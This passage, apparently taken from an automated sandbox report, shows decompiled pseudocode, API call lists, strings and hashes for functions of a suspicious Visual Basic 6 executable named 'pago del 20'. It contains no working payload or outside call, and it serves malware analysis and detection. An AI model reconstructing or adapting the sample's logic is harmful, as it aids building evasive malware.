						_push(_v228);
						L004014E4();
						_v264 = _t207;
					}
					_v240 = _v32;
					_v32 = _v32 & 0x00000000;
					L004014D2();
					L004014DE();
					if( *0x427918 != 0) {
						_v268 = 0x427918;
					} else {
						_push(0x427918);
						_push(0x40f514);
						L004014EA();
						_v268 = 0x427918;
					}
					_v216 =  *_v268;
					_t214 =  *((intOrPtr*)( *_v216 + 0x14))(_v216,  &_v44);
					asm("fclex");
					_v220 = _t214;
					if(_v220 >= 0) {
						_v272 = _v272 & 0x00000000;
					} else {
						_push(0x14);
						_push(0x40f504);
						_push(_v216);
						_push(_v220);
						L004014E4();
						_v272 = _t214;
					}
					_v224 = _v44;
					_t219 =  *((intOrPtr*)( *_v224 + 0x60))(_v224,  &_v32);
					asm("fclex");
					_v228 = _t219;
					if(_v228 >= 0) {
						_v276 = _v276 & 0x00000000;
					} else {
						_push(0x60);
						_push(0x40f524);
						_push(_v224);
						_push(_v228);
						L004014E4();
						_v276 = _t219;
					}
					L0040148A();
					L0040142A();
					L004014DE();
				}
				if( *0x427010 != 0) {
					_v280 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v280 = 0x427010;
				}
				_t193 =  &_v44;
				L004014F0();
				_v216 = _t193;
				_t196 =  *((intOrPtr*)( *_v216 + 0x1d4))(_v216, _t193,  *((intOrPtr*)( *((intOrPtr*)( *_v280)) + 0x2fc))( *_v280));
				asm("fclex");
				_v220 = _t196;
				if(_v220 >= 0) {
					_v284 = _v284 & 0x00000000;
				} else {
					_push(0x1d4);
					_push(0x40f280);
					_push(_v216);
					_push(_v220);
					L004014E4();
					_v284 = _t196;
				}
				L004014DE();
				asm("wait");
				_push(0x424ace);
				L0040142A();
				return _t196;
			}

0x00424572
0x00424581
0x0042458d
0x00424595
0x00424598
0x0042459f
0x004245ae
0x004245b1
0x004245b3
0x004245b5
0x004245bd
0x004245be
0x004245ca
0x004245e7
0x004245cc
0x004245cc
0x004245d1
0x004245d6
0x004245db
0x004245db
0x00424601
0x0042460b
0x0042460f
0x00424614
0x0042462c
0x00424632
0x00424634
0x00424641
0x00424666
0x00424643
0x00424643
0x00424648
0x0042464d
0x00424653
0x00424659
0x0042465e
0x0042465e
0x0042466d
0x00424673
0x00424674
0x00424675
0x00424678
0x0042467d
0x00424689
0x0042468c
0x00424696
0x00424697
0x0042469a
0x0042469b
0x004246a0
0x004246ad
0x004246c2
0x004246af
0x004246af
0x004246b5
0x004246ba
0x004246ba
0x004246c9
0x004246cb
0x004246cd
0x004246cf
0x004246d2
0x004246d3
0x004246dd
0x004246e2
0x004246e3
0x004246e9
0x004246ea
0x004246ed
0x004246ee
0x004246f3
0x004246f4
0x004246f9
0x004246fc
0x00424706
0x0042470a
0x0042470b
0x00424710
0x00424717
0x00424721
0x00424727
0x00424728
0x0042472a
0x0042472f
0x00424734
0x0042473a
0x00424747
0x00424748
0x0042474e
0x0042474f
0x00424754
0x0042475e
0x00424762
0x00424766
0x00424767
0x00424769
0x00424774
0x0042477f
0x00424783
0x0042478a
0x0042478e
0x00424792
0x00424796
0x0042479a
0x0042479e
0x0042479f
0x004247a1
0x004247b2
0x004247bf
0x004247dc
0x004247c1
0x004247c1
0x004247c6
0x004247cb
0x004247d0
0x004247d0
0x004247ee
0x00424806
0x00424809
0x0042480b
0x00424818
0x0042483a
0x0042481a
0x0042481a
0x0042481c
0x00424821
0x00424827
0x0042482d
0x00424832
0x00424832
0x00424844
0x0042485c
0x00424862
0x00424864
0x00424871
0x00424896
0x00424873
0x00424873
0x00424878
0x0042487d
0x00424883
0x00424889
0x0042488e
0x0042488e
0x004248a0
0x004248a6
0x004248b3
0x004248bb
0x004248c7
0x004248e4
0x004248c9
0x004248c9
0x004248ce
0x004248d3
0x004248d8
0x004248d8
0x004248f6
0x0042490e
0x00424911
0x00424913
0x00424920
0x00424942
0x00424922
0x00424922
0x00424924
0x00424929
0x0042492f
0x00424935
0x0042493a
0x0042493a
0x0042494c
0x00424964
0x00424967
0x00424969
0x00424976
0x00424998
0x00424978
0x00424978
0x0042497a
0x0042497f
0x00424985
0x0042498b
0x00424990
0x00424990
0x004249a8
0x004249b0
0x004249b8
0x004249b8
0x004249c4
0x004249e1
0x004249c6
0x004249c6
0x004249cb
0x004249d0
0x004249d5
0x004249d5
0x00424a05
0x00424a09
0x00424a0e
0x00424a22
0x00424a28
0x00424a2a
0x00424a37
0x00424a5c
0x00424a39
0x00424a39
0x00424a3e
0x00424a43
0x00424a49
0x00424a4f
0x00424a54
0x00424a54
0x00424a66
0x00424a6b
0x00424a6c
0x00424ac8
0x00424acd

APIs

__vbaChkstk.MSVBVM60(?,004012B6), ref: 0042458D
#539.MSVBVM60(?,00000084,0000005C,00000017,?,?,?,?,004012B6), ref: 004245BE
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,00000084,0000005C,00000017,?,?,?,?,004012B6), ref: 004245D6
__vbaObjSet.MSVBVM60(0000005C,00000000), ref: 0042460F
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F310,00000150), ref: 00424659
#583.MSVBVM60(?,?,00000000,?,0040F310,00000150), ref: 00424678
#564.MSVBVM60(00000005,?), ref: 0042469B
__vbaHresultCheck.MSVBVM60(00000000,00000005,?), ref: 004246B5
__vbaStrErrVarCopy.MSVBVM60(?,00000001,000000FF,00000000,00000005,?), ref: 004246D3
__vbaStrMove.MSVBVM60(?,00000001,000000FF,00000000,00000005,?), ref: 004246DD
__vbaStrVarVal.MSVBVM60(?,?,?,00000000,?,00000001,000000FF,00000000,00000005,?), ref: 004246EE
#712.MSVBVM60(00000000,?,?,?,00000000,?,00000001,000000FF,00000000,00000005,?), ref: 004246F4
#522.MSVBVM60(?,00000008,00000000,?,?,?,00000000,?,00000001,000000FF,00000000,00000005,?), ref: 0042470B
#628.MSVBVM60(KMOLE,00000052,00000002,?,00000008,00000000,?,?,?,00000000,?,00000001,000000FF,00000000,00000005,?), ref: 0042472F
__vbaVarTstEq.MSVBVM60(00008008,?,KMOLE,00000052,00000002,?,00000008,00000000,?,?,?,00000000,?,00000001,000000FF,00000000), ref: 0042474F
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000017,00008008,?,KMOLE,00000052,00000002,?,00000008,00000000,?,?,?,00000000), ref: 00424769
__vbaFreeObj.MSVBVM60(?,?,?,004012B6), ref: 00424774
__vbaFreeVarList.MSVBVM60(00000008,?,?,?,?,?,?,?,?,?,?,?,004012B6), ref: 004247A1
__vbaNew2.MSVBVM60(0040F514,00427918,?,?,?,?,?,?,?,?,?,?,?,?,004012B6), ref: 004247CB
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F504,00000014), ref: 0042482D
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F524,000000F8), ref: 00424889
__vbaStrMove.MSVBVM60(00000000,?,0040F524,000000F8), ref: 004248B3
__vbaFreeObj.MSVBVM60(00000000,?,0040F524,000000F8), ref: 004248BB
__vbaNew2.MSVBVM60(0040F514,00427918), ref: 004248D3
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F504,00000014), ref: 00424935
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F524,00000060), ref: 0042498B
__vbaStrCopy.MSVBVM60(00000000,?,0040F524,00000060), ref: 004249A8
__vbaFreeStr.MSVBVM60(00000000,?,0040F524,00000060), ref: 004249B0
__vbaFreeObj.MSVBVM60(00000000,?,0040F524,00000060), ref: 004249B8
__vbaNew2.MSVBVM60(0040D8B0,00427010,?,?,?,?,?,?,?,?,?,?,?,?,004012B6), ref: 004249D0
__vbaObjSet.MSVBVM60(?,00000000), ref: 00424A09
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F280,000001D4), ref: 00424A4F
__vbaFreeObj.MSVBVM60(00000000,?,0040F280,000001D4), ref: 00424A66
__vbaFreeStr.MSVBVM60(00424ACE), ref: 00424AC8

Strings

KMOLE, xrefs: 0042472A

Memory Dump Source

Source File: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: __vba$Free$CheckHresult$New2$CopyListMove$#522#539#564#583#628#712Chkstk
String ID: KMOLE
API String ID: 358126063-2713936206
Opcode ID: dd59f356fb8a8a7c2bfd5f1190e9fe6fc866bc5eea045b69be1ac899f29d3c97
Instruction ID: 1c4d3f4c23f00a984eae141854b02ccfd8d804cc9ca13b51394dc954d67c7688
Opcode Fuzzy Hash: dd59f356fb8a8a7c2bfd5f1190e9fe6fc866bc5eea045b69be1ac899f29d3c97
Instruction Fuzzy Hash: A3E1B871900229AFDB21DF91CC85FDEB7B4BB08304F5045ABE109B72A1DB785A89DF64

Uniqueness

Uniqueness Score: -1.00%

Function 0042375B Relevance: 54.5, APIs: 28, Strings: 3, Instructions: 209
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E0042375B(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				short _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				long long _v48;
				char _v56;
				char _v72;
				intOrPtr _v80;
				char _v88;
				char _v104;
				char _v156;
				long long _v164;
				intOrPtr* _v168;
				signed int _v172;
				signed int _v176;
				short _v180;
				intOrPtr* _v188;
				signed int _v192;
				signed int _v196;
				intOrPtr* _v200;
				signed int _v204;
				char* _t90;
				char* _t98;
				signed int _t102;
				signed int _t106;
				short _t108;
				char* _t114;
				char* _t118;
				signed int _t122;
				intOrPtr _t150;
				long long _t161;

				_push(0x4012b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t150;
				L004012B0();
				_v12 = _t150;
				_v8 = 0x4011b8;
				_v48 = 0x80020004;
				_v56 = 0xa;
				_push(0);
				_push(0xffffffff);
				_push( &_v56);
				_push(L"restress");
				_push( &_v72);
				L00401454();
				_t90 =  &_v72;
				_push(_t90);
				_push(0x2008);
				L0040145A();
				_v156 = _t90;
				_push( &_v156);
				_push( &_v28);
				L00401460();
				_push( &_v72);
				_push( &_v56);
				_push(2);
				L004014A2();
				_t161 =  *0x4011b0;
				 *((long long*)(_t150 + 0xc)) = _t161;
				L0040144E();
				_v164 = _t161;
				if( *0x427010 != 0) {
					_v188 = 0x427010;
				} else {
					_push(0x427010);
					_push(0x40d8b0);
					L004014EA();
					_v188 = 0x427010;
				}
				_t98 =  &_v40;
				L004014F0();
				_v168 = _t98;
				_t102 =  *((intOrPtr*)( *_v168 + 0x78))(_v168,  &_v156, _t98,  *((intOrPtr*)( *((intOrPtr*)( *_v188)) + 0x31c))( *_v188));
				asm("fclex");
				_v172 = _t102;
				if(_v172 >= 0) {
					_v192 = _v192 & 0x00000000;
				} else {
					_push(0x78);
					_push(0x40f3f0);
					_push(_v168);
					_push(_v172);
					L004014E4();
					_v192 = _t102;
				}
				_v48 = _v164;
				_v56 = 5;
				_push(0);
				_push( &_v56);
				_push( &_v72);
				L00401442();
				_v80 = _v156;
				_v88 = 4;
				_push( &_v104);
				_t106 =  &_v88;
				_push(_t106);
				L0040143C();
				_v176 = _t106;
				if(_v176 >= 0) {
					_v196 = _v196 & 0x00000000;
				} else {
					_push(_v176);
					L00401436();
					_v196 = _t106;
				}
				_push( &_v72);
				_t108 =  &_v104;
				_push(_t108);
				L00401448();
				_v180 = _t108;
				L004014DE();
				_push( &_v104);
				_push( &_v72);
				_push( &_v88);
				_push( &_v56);
				_push(4);
				L004014A2();
				if(_v180 != 0) {
					_push(L"favntaget");
					L00401430();
					L004014D2();
					L0040148A();
					L0040142A();
					if( *0x427010 != 0) {
						_v200 = 0x427010;
					} else {
						_push(0x427010);
						_push(0x40d8b0);
						L004014EA();
						_v200 = 0x427010;
					}
					_t118 =  &_v40;
					L004014F0();
					_v168 = _t118;
					_t122 =  *((intOrPtr*)( *_v168 + 0xf0))(_v168,  &_v32, _t118,  *((intOrPtr*)( *((intOrPtr*)( *_v200)) + 0x310))( *_v200));
					asm("fclex");
					_v172 = _t122;
					if(_v172 >= 0) {
						_v204 = _v204 & 0x00000000;
					} else {
						_push(0xf0);
						_push(0x40f310);
						_push(_v168);
						_push(_v172);
						L004014E4();
						_v204 = _t122;
					}
					_push(_v32);
					L00401430();
					L004014D2();
					L0040148A();
					_push( &_v36);
					_push( &_v32);
					_push(2);
					L004014CC();
					L004014DE();
				}
				_v24 = 0xa35;
				asm("wait");
				_push(0x423aaa);
				_t114 =  &_v28;
				_push(_t114);
				_push(0);
				L00401424();
				return _t114;
			}

0x00423760
0x0042376b
0x0042376c
0x00423778
0x00423780
0x00423783
0x0042378a
0x00423791
0x00423798
0x0042379a
0x0042379f
0x004237a0
0x004237a8
0x004237a9
0x004237ae
0x004237b1
0x004237b2
0x004237b7
0x004237bc
0x004237c8
0x004237cc
0x004237cd
0x004237d5
0x004237d9
0x004237da
0x004237dc
0x004237e4
0x004237ec
0x004237ef
0x004237f4
0x00423801
0x0042381e
0x00423803
0x00423803
0x00423808
0x0042380d
0x00423812
0x00423812
0x00423842
0x00423846
0x0042384b
0x00423866
0x00423869
0x0042386b
0x00423878
0x0042389a
0x0042387a
0x0042387a
0x0042387c
0x00423881
0x00423887
0x0042388d
0x00423892
0x00423892
0x004238a7
0x004238aa
0x004238b1
0x004238b6
0x004238ba
0x004238bb
0x004238c6
0x004238c9
0x004238d3
0x004238d4
0x004238d7
0x004238d8
0x004238dd
0x004238ea
0x004238ff
0x004238ec
0x004238ec
0x004238f2
0x004238f7
0x004238f7
0x00423909
0x0042390a
0x0042390d
0x0042390e
0x00423913
0x0042391d
0x00423925
0x00423929
0x0042392d
0x00423931
0x00423932
0x00423934
0x00423945
0x0042394b
0x00423950
0x0042395a
0x00423967
0x0042396f
0x0042397b
0x00423998
0x0042397d
0x0042397d
0x00423982
0x00423987
0x0042398c
0x0042398c
0x004239bc
0x004239c0
0x004239c5
0x004239dd
0x004239e3
0x004239e5
0x004239f2
0x00423a17
0x004239f4
0x004239f4
0x004239f9
0x004239fe
0x00423a04
0x00423a0a
0x00423a0f
0x00423a0f
0x00423a1e
0x00423a21
0x00423a2b
0x00423a38
0x00423a40
0x00423a44
0x00423a45
0x00423a47
0x00423a52
0x00423a52
0x00423a57
0x00423a5d
0x00423a5e
0x00423a9e
0x00423aa1
0x00423aa2
0x00423aa4
0x00423aa9

APIs

__vbaChkstk.MSVBVM60(?,004012B6), ref: 00423778
#711.MSVBVM60(?,restress,0000000A,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,004012B6), ref: 004237A9
__vbaAryVar.MSVBVM60(00002008,?,?,restress,0000000A,000000FF,00000000), ref: 004237B7
__vbaAryCopy.MSVBVM60(?,?,00002008,?,?,restress,0000000A,000000FF,00000000), ref: 004237CD
__vbaFreeVarList.MSVBVM60(00000002,0000000A,?,?,?,00002008,?,?,restress,0000000A,000000FF,00000000), ref: 004237DC
#586.MSVBVM60 ref: 004237EF
__vbaNew2.MSVBVM60(0040D8B0,00427010), ref: 0042380D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00423846
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F3F0,00000078), ref: 0042388D
#714.MSVBVM60(?,00000005,00000000), ref: 004238BB
#564.MSVBVM60(00000004,?,?,00000005,00000000), ref: 004238D8
__vbaHresultCheck.MSVBVM60(00000000,00000004,?,?,00000005,00000000), ref: 004238F2
__vbaVarTstGt.MSVBVM60(?,?,00000004,?,?,00000005,00000000), ref: 0042390E
__vbaFreeObj.MSVBVM60(?,?,00000004,?,?,00000005,00000000), ref: 0042391D
__vbaFreeVarList.MSVBVM60(00000004,00000005,00000004,?,?,?,?,00000004,?,?,00000005,00000000), ref: 00423934
#519.MSVBVM60(favntaget), ref: 00423950
__vbaStrMove.MSVBVM60(favntaget), ref: 0042395A
__vbaStrCopy.MSVBVM60(favntaget), ref: 00423967
__vbaFreeStr.MSVBVM60(favntaget), ref: 0042396F
__vbaNew2.MSVBVM60(0040D8B0,00427010,favntaget), ref: 00423987
__vbaObjSet.MSVBVM60(?,00000000), ref: 004239C0
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F310,000000F0), ref: 00423A0A
#519.MSVBVM60(?), ref: 00423A21
__vbaStrMove.MSVBVM60(?), ref: 00423A2B
__vbaStrCopy.MSVBVM60(?), ref: 00423A38
__vbaFreeStrList.MSVBVM60(00000002,?,?,?), ref: 00423A47
__vbaFreeObj.MSVBVM60(?,?,favntaget), ref: 00423A52
__vbaAryDestruct.MSVBVM60(00000000,?,00423AAA), ref: 00423AA4

Strings

favntaget, xrefs: 0042394B
restress, xrefs: 004237A0
5, xrefs: 00423A57

Memory Dump Source

Source File: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: __vba$Free$CheckCopyHresultList$#519MoveNew2$#564#586#711#714ChkstkDestruct
String ID: 5$favntaget$restress
API String ID: 1184481697-1070010420
Opcode ID: ccd57d05c78caa66cb37a570d31cd34ee3b084904a642281865d2e6709cee627
Instruction ID: 51e8b5223575d6838b996fe1168b9da86a141f8901a1709f313fdde67e611c6e
Opcode Fuzzy Hash: ccd57d05c78caa66cb37a570d31cd34ee3b084904a642281865d2e6709cee627
Instruction Fuzzy Hash: 58910771A00218AFDB10EF91DD45FEEB7B8AF08304F5041AAE149B71A1DB785A89CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00424322 Relevance: 42.1, APIs: 23, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00424322(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, void* _a8, void* _a16) {
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v40;
				void* _v44;
				short _v48;
				char _v52;
				char _v56;
				intOrPtr _v64;
				char _v72;
				char _v88;
				char* _v96;
				intOrPtr _v104;
				void* _v108;
				signed int _v112;
				intOrPtr* _v136;
				signed int _v140;
				char* _t67;
				short _t69;
				char* _t73;
				signed int _t77;
				void* _t113;
				intOrPtr _t114;

				_t114 = _t113 - 0x18;
				_push(0x4012b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t114;
				_push(0x68);
				L004012B0();
				_v28 = _t114;
				_v24 = 0x401218;
				_v20 = 0;
				_v16 = 0;
				_v8 = 1;
				L0040148A();
				L0040148A();
				_v8 = 2;
				_v64 = 0x80020004;
				_v72 = 0xa;
				_t67 =  &_v72;
				_push(_t67);
				L004014D8();
				_v108 =  ~(0 | _t67 - 0x000070bc > 0x00000000);
				L004014C0();
				if(_v108 != 0) {
					_v8 = 3;
					_push(0xffffffff);
					L004013DC();
					_v8 = 4;
					if( *0x427010 != 0) {
						_v136 = 0x427010;
					} else {
						_push(0x427010);
						_push(0x40d8b0);
						L004014EA();
						_v136 = 0x427010;
					}
					_t73 =  &_v56;
					L004014F0();
					_v108 = _t73;
					_t77 =  *((intOrPtr*)( *_v108 + 0xf8))(_v108,  &_v52, _t73,  *((intOrPtr*)( *((intOrPtr*)( *_v136)) + 0x320))( *_v136));
					asm("fclex");
					_v112 = _t77;
					if(_v112 >= 0) {
						_v140 = _v140 & 0x00000000;
					} else {
						_push(0xf8);
						_push(0x40f270);
						_push(_v108);
						_push(_v112);
						L004014E4();
						_v140 = _t77;
					}
					_push(_v52);
					L004013D6();
					 *(_a4 + 0x58) = _t77;
					L0040142A();
					L004014DE();
					_v8 = 5;
					_v96 = L"RETENUE";
					_v104 = 8;
					L00401490();
					_push(0x57);
					_push( &_v72);
					_push( &_v88);
					L004013D0();
					_push( &_v88);
					L004014AE();
					L004014D2();
					L0040148A();
					L0040142A();
					_push( &_v88);
					_push( &_v72);
					_push(2);
					L004014A2();
				}
				_v8 = 7;
				_v64 = 0x80020004;
				_v72 = 0xa;
				_t69 =  &_v72;
				_push(_t69);
				L004014D8();
				_v48 = _t69;
				L004014C0();
				_push(0x424552);
				L0040142A();
				L0040142A();
				return _t69;
			}

0x00424325
0x00424328
0x00424333
0x00424334
0x0042433b
0x0042433e
0x00424346
0x00424349
0x00424350
0x00424357
0x0042435e
0x0042436b
0x00424376
0x0042437b
0x00424382
0x00424389
0x00424390
0x00424393
0x00424394
0x004243a4
0x004243ab
0x004243b6
0x004243bc
0x004243c3
0x004243c5
0x004243ca
0x004243d8
0x004243f5
0x004243da
0x004243da
0x004243df
0x004243e4
0x004243e9
0x004243e9
0x00424419
0x0042441d
0x00424422
0x00424431
0x00424437
0x00424439
0x00424440
0x0042445f
0x00424442
0x00424442
0x00424447
0x0042444c
0x0042444f
0x00424452
0x00424457
0x00424457
0x00424466
0x00424469
0x00424471
0x00424477
0x0042447f
0x00424484
0x0042448b
0x00424492
0x0042449f
0x004244a4
0x004244a9
0x004244ad
0x004244ae
0x004244b6
0x004244b7
0x004244c1
0x004244ce
0x004244d6
0x004244de
0x004244e2
0x004244e3
0x004244e5
0x004244ea
0x004244ed
0x004244f4
0x004244fb
0x00424502
0x00424505
0x00424506
0x0042450b
0x00424512
0x00424517
0x00424544
0x0042454c
0x00424551

APIs

__vbaChkstk.MSVBVM60(?,004012B6), ref: 0042433E
__vbaStrCopy.MSVBVM60(?,?,?,?,004012B6), ref: 0042436B
__vbaStrCopy.MSVBVM60(?,?,?,?,004012B6), ref: 00424376
#648.MSVBVM60(0000000A), ref: 00424394
__vbaFreeVar.MSVBVM60(0000000A), ref: 004243AB
__vbaOnError.MSVBVM60(000000FF,0000000A), ref: 004243C5
__vbaNew2.MSVBVM60(0040D8B0,00427010,000000FF,0000000A), ref: 004243E4
__vbaObjSet.MSVBVM60(?,00000000), ref: 0042441D
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040F270,000000F8), ref: 00424452
#578.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 00424469
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 00424477
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 0042447F
__vbaVarDup.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 0042449F
#515.MSVBVM60(?,0000000A,00000057,?), ref: 004244AE
__vbaStrVarMove.MSVBVM60(?,?,0000000A,00000057,?), ref: 004244B7
__vbaStrMove.MSVBVM60(?,?,0000000A,00000057,?), ref: 004244C1
__vbaStrCopy.MSVBVM60(?,?,0000000A,00000057,?), ref: 004244CE
__vbaFreeStr.MSVBVM60(?,?,0000000A,00000057,?), ref: 004244D6
__vbaFreeVarList.MSVBVM60(00000002,0000000A,?,?,?,0000000A,00000057,?), ref: 004244E5
#648.MSVBVM60(0000000A,0000000A), ref: 00424506
__vbaFreeVar.MSVBVM60(0000000A,0000000A), ref: 00424512
__vbaFreeStr.MSVBVM60(00424552,0000000A,0000000A), ref: 00424544
__vbaFreeStr.MSVBVM60(00424552,0000000A,0000000A), ref: 0042454C

Strings

RETENUE, xrefs: 0042448B

Memory Dump Source

Source File: 00000000.00000002.371024817.0000000000411000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.370978740.0000000000400000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.370992371.0000000000401000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmpDownload File
Associated: 00000000.00000002.371046740.0000000000427000.00000004.00020000.sdmpDownload File
Associated: 00000000.00000002.371056590.0000000000429000.00000002.00020000.sdmpDownload File
Associated: 00000000.00000002.371063777.000000000042D000.00000002.00020000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pago del 20.jbxd

Yara matches

Similarity

API ID: __vba$Free$Copy$#648Move$#515#578CheckChkstkErrorHresultListNew2
String ID: RETENUE
API String ID: 79652355-2895430143
Opcode ID: 12e9fc267b5d851de1605186bd3e0b4e23ca47b7951ce3b5bd0fd83e71f5def1
Instruction ID: 7f1e7f44f78b162236b04d1cf15c955c935416d6c80ec36ca04b0dd28f1535a0
Opcode Fuzzy Hash: 12e9fc267b5d851de1605186bd3e0b4e23ca47b7951ce3b5bd0fd83e71f5def1
Instruction Fuzzy Hash: 62511A71900218ABDF10EF91D945BEDB7B8FF04708F60806EE505BB2A1DB786A49DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423FD8 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00423FD8(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v24;
				signed int _v28;
				short _v32;
				char _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v52;
				signed int _v56;
				intOrPtr _v60;
				void* _v68;
				signed int _t47;
				signed int _t51;
				char* _t57;
				signed int _t60;
				void* _t61;
				char* _t67;
				void* _t77;
				void* _t78;
				intOrPtr _t80;
				intOrPtr _t82;

				_t78 = __esi;
				_t77 = __edi;
				_t61 = __ebx;
				_t80 = _t82;
				_push(0x4012b6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t82;
				_push(0x2c);
				L004012B0();
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = _t82;
				_v8 = 0x4011e8;
				L0040148A();
				_v60 = 0x79e2;
				_v56 = 1;
				_v28 = _v28 & 0x00000000;
				while(1) {
					_t47 = _v28;
					if(_t47 > _v60) {
						break;
					}
					_push( &_v52);
					L004013E2();
					_push( &_v52);
					L004014AE();
					L004014D2();
					_t67 =  &_v52;
					L004014C0();
					_t51 = _v28 + _v56;
					if(_t51 < 0) {
						L004013F4();
						_push(_t80);
						_push(_t67);
						_push(_t67);
						_push(0x4012b6);
						_push( *[fs:0x0]);
						 *[fs:0x0] = _t82;
						_push(0x20);
						L004012B0();
						_push(_t61);
						_push(_t78);
						_push(_t77);
						_v52 = _t82;
						_v48 = 0x4011f8;
						L0040148A();
						if( *0x427010 != 0) {
							_v52 = 0x427010;
						} else {
							_push(0x427010);
							_push(0x40d8b0);
							L004014EA();
							_v52 = 0x427010;
						}
						_t57 =  &_v36;
						L004014F0();
						_v40 = _t57;
						_t60 =  *((intOrPtr*)( *_v40 + 0x21c))(_v40, _t57,  *((intOrPtr*)( *((intOrPtr*)( *_v52)) + 0x310))( *_v52));
						asm("fclex");
						_v44 = _t60;
						if(_v44 >= 0) {
							_v56 = _v56 & 0x00000000;
						} else {
							_push(0x21c);
							_push(0x40f310);
							_push(_v40);
							_push(_v44);
							L004014E4();
							_v56 = _t60;
						}
						L004014DE();
						_v28 = 0x24cc;
						_push(0x424184);
						L0040142A();
						return _t60;
					} else {
						_v28 = _t51;
						continue;
					}
					L16:
				}
				_v32 = 0x7395;
				_push(0x424084);
				L0040142A();
				L0040142A();
				return _t47;
				goto L16;
			}

0x00423fd8
0x00423fd8
0x00423fd8
0x00423fd9
0x00423fdd
0x00423fe8
0x00423fe9
0x00423ff0
0x00423ff3
0x00423ff8
0x00423ff9
0x00423ffa
0x00423ffb
0x00423ffe
0x0042400b
0x00424010
0x00424017
0x0042401e
0x0042402f
0x0042402f
0x00424035
0x00000000
0x00000000
0x0042403a
0x0042403b
0x00424043
0x00424044
0x0042404e
0x00424053
0x00424056
0x00424027
0x0042402a
0x004240a1
0x004240a6
0x004240a9
0x004240aa
0x004240ab
0x004240b6
0x004240b7
0x004240be
0x004240c1
0x004240c6
0x004240c7
0x004240c8
0x004240c9
0x004240cc
0x004240d9
0x004240e5
0x004240ff
0x004240e7
0x004240e7
0x004240ec
0x004240f1
0x004240f6
0x004240f6
0x0042411a
0x0042411e
0x00424123
0x0042412e
0x00424134
0x00424136
0x0042413d
0x00424159
0x0042413f
0x0042413f
0x00424144
0x00424149
0x0042414c
0x0042414f
0x00424154
0x00424154
0x00424160
0x00424165
0x0042416b
0x0042417e
0x00424183
0x0042402c
0x0042402c
0x00000000
0x0042402c
0x00000000
0x0042402a
0x0042405d
0x00424063
0x00424076
0x0042407e
0x00424083
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004012B6), ref: 00423FF3
__vbaStrCopy.MSVBVM60(?,?,?,?,004012B6), ref: 0042400B
#612.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,004012B6), ref: 0042403B
